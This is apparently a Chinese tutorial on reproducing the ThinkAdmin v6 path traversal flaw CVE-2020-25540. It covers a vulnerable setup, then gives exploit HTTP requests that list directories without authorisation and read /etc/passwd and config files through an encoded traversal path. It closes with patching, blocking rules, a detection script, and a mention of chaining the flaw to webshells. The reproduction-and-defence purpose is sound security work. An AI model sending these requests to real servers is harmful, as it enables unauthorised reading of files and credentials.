当前位置: 首页 > news >正文

ThinkAdmin v6路径遍历漏洞实战:从环境搭建到PoC编写,手把手教你复现CVE-2020-25540

ThinkAdmin v6路径遍历漏洞深度解析与实战复现指南

漏洞背景与核心原理

ThinkAdmin作为基于ThinkPHP的后台管理系统框架,曾在v6版本存在一个典型的路径遍历漏洞(CVE-2020-25540)。这个漏洞的本质在于未对用户输入的路径参数进行充分校验,导致攻击者可以通过构造特殊请求实现未授权访问服务器文件系统。

漏洞的核心触发点位于app/admin/controller/api/Update.php文件中的三个未授权访问方法。其中node()方法直接将用户可控的rulesignore参数传递给InstallService::instance()->getList(),而该方法内部通过_scanList()递归遍历目录时未做安全限制。更危险的是get()方法,它通过decode(input('encode'))获取用户传入的文件路径,虽然存在checkAllowDownload()检查机制,但通过路径穿越技巧仍可绕过限制。

环境搭建全流程

1. 基础环境准备

复现该漏洞需要以下基础组件:

  • PHP 7.0.1或更高版本
  • Composer(PHP依赖管理工具)
  • MySQL数据库(用于系统数据存储)

Windows环境配置步骤

  1. 下载并安装PHP for Windows
  2. 配置PHP环境变量
  3. 下载Composer-Setup.exe并安装
  4. 执行以下命令配置国内镜像加速:
    composer config -g repo.packagist composer https://mirrors.aliyun.com/composer/

2. ThinkAdmin v6漏洞版本安装

由于官方仓库已修复此漏洞,我们需要通过Composer指定版本安装:

composer create-project zoujingli/think-admin=2020.08.03.00 thinkadmin-vulnerable cd thinkadmin-vulnerable

安装完成后,需要手动配置数据库:

  1. 创建MySQL数据库
  2. 修改config/database.php配置文件
  3. 导入初始SQL文件(通常位于public/install.sql

启动开发服务器:

php think run -p 8080

注意:实际漏洞复现建议在隔离的虚拟机或Docker环境中进行,避免对真实系统造成影响。

漏洞复现详细步骤

1. 目录遍历漏洞利用

通过node接口可以未授权列举服务器目录结构:

请求示例

POST /admin.html?s=admin/api.Update/node HTTP/1.1 Host: localhost:8080 Content-Type: application/x-www-form-urlencoded rules=["/"]&ignore=[]

响应分析

{ "code": 200, "info": "获取文件列表成功!", "data": { "rules": ["/"], "ignore": [], "list": [ { "name": "config/database.php", "hash": "d41d8cd98f00b204e9800998ecf8427e" }, // 其他文件列表... ] } }

2. 任意文件读取漏洞利用

通过get接口可以读取服务器上的文件内容,但受到checkAllowDownload()限制。我们需要构造特殊路径绕过限制:

文件路径编码工具

function encodePath($path) { $chars = ''; $gbk = iconv('UTF-8', 'GBK//TRANSLIT', $path); for ($i = 0; $i < strlen($gbk); $i++) { $chars .= str_pad(base_convert(ord($gbk[$i]), 10, 36), 2, 0, 0); } return $chars; }

读取/etc/passwd示例

GET /admin.html?s=admin/api.Update/get&encode=<?php echo encodePath('public/static/../../../etc/passwd'); ?> HTTP/1.1 Host: localhost:8080

Windows环境下绕过database.php限制

GET /admin.html?s=admin/api.Update/get&encode=<?php echo encodePath('public/static/../../config/database"php'); ?> HTTP/1.1

漏洞修复方案

官方在2020年8月3日发布的更新中修复了此漏洞,主要措施包括:

  1. Update控制器添加了权限验证
  2. getList()方法中增加了路径合法性检查
  3. 强化了checkAllowDownload()的过滤规则

升级建议

composer require zoujingli/think-admin:^2020.08.03.01

防御措施与最佳实践

对于无法立即升级的系统,可采取以下临时防护措施:

  1. 在Nginx/Apache配置中添加规则,拦截可疑请求:

    location ~* ^/admin\.html\?s=admin/api\.Update/(node|get) { deny all; }
  2. 修改中间件验证逻辑:

    // 在app/admin/middleware.php中添加 return function ($request, $next) { if (strpos($request->param('s'), 'admin/api.Update') !== false) { return json(['code' => 403, 'msg' => 'Access denied']); } return $next($request); };
  3. 文件系统权限最小化原则:

    • Web用户仅对必要目录有读取权限
    • 敏感配置文件设置为600权限
    • 禁用PHP危险函数(如exec,system等)

漏洞研究进阶方向

  1. 自动化检测工具开发

    import requests def check_thinkadmin_vuln(url): try: r = requests.post( f"{url}/admin.html?s=admin/api.Update/node", data={"rules": "[\"/\"]", "ignore": "[]"}, timeout=5 ) return r.status_code == 200 and "获取文件列表成功" in r.text except: return False
  2. 漏洞利用链扩展研究

    • 结合其他漏洞实现RCE
    • 通过读取日志文件获取敏感信息
    • 利用路径穿越写入Webshell
  3. 类似框架的审计方法

    • 检查未授权访问的API接口
    • 验证文件操作函数的安全性
    • 跟踪用户输入的传递过程
http://www.jsqmd.com/news/555336/

相关文章:

  • 探索Zero gap碱性电解槽二维模型:电流电压分布、气体体积分数与电化学热的奥秘
  • 低代码 vs 传统开发:什么时候该用(或不用)Mendix/OutSystems?
  • 别再手动调参了!用Python复现FUEL论文的FIS边界更新算法(附完整代码)
  • 5个秘诀让你成为Path of Building大师:从新手到专家的流放之路Build规划指南
  • 分析上海摄影培训专业机构,上海佐依美妆教育收费怎么算? - 工业品网
  • 大语言模型:低碳电力市场的新曙光
  • CLIP-GmP-ViT-L-14图文匹配测试工具:高精度跨模态检索案例作品集
  • 3大突破!智能知识生成与协作式研究的革命性解决方案
  • NSGA-III算法实战:如何用Python解决多目标优化问题(附完整代码)
  • TerminusDB完全教程:掌握JSON文档与知识图谱的融合
  • 保姆级教程:如何在Windows下用MinGW编译QtXlsx库(附常见错误解决)
  • 探讨上海摄影培训高效机构排名,前十名都有谁? - 工业品牌热点
  • SnakeYAML反序列化漏洞:从SPI机制到RCE的完整攻击链剖析
  • STM32 HAL库实战:不用定时器,GetTick函数搞定长短按键(附消抖方案)
  • SpaceClaim流体域实战:从零到一构建仿真计算空间
  • OpenCore Legacy Patcher:让老旧Mac重获新生的开源系统适配方案
  • 二维码生成器
  • 3种场景解决Windows Git安装困境:从卡顿到流畅的镜像部署指南
  • Android窗口同步的幕后功臣:BLASTSyncEngine源码逐行解析与实战避坑
  • 别再手动画图了!用Python+AutoCAD二次开发,5分钟搞定AI辅助设计原型
  • 告别官方驱动:深入解读ES7210寄存器,打造你自己的ESP32音频采集库
  • 深度解析数据库工程与SQL调优:从架构设计到查询性能飞跃
  • 聊聊2026年上海有实力的摄影培训机构,怎么选择不踩坑 - 工业推荐榜
  • DelphiMVCFramework:打造高性能RESTful与JSON-RPC双引擎API的终极解决方案
  • 探索直流微电网混合储能:MPPT、模型预测控制与PI控制的奇妙融合
  • 我把DeepSeek调教成了我的‘专属文案总监’:角色扮演Prompt的实战配置手册
  • 【单片机实战】从外部中断到串口通信:构建一个简易的按键计数与数据回传系统
  • OpenPose终极指南:10分钟掌握人体姿态估计核心技术
  • 高级litecli技巧:7个实用命令提升数据库操作效率
  • Maestro移动测试自动化成长路径:从零基础到专家的完整技能图谱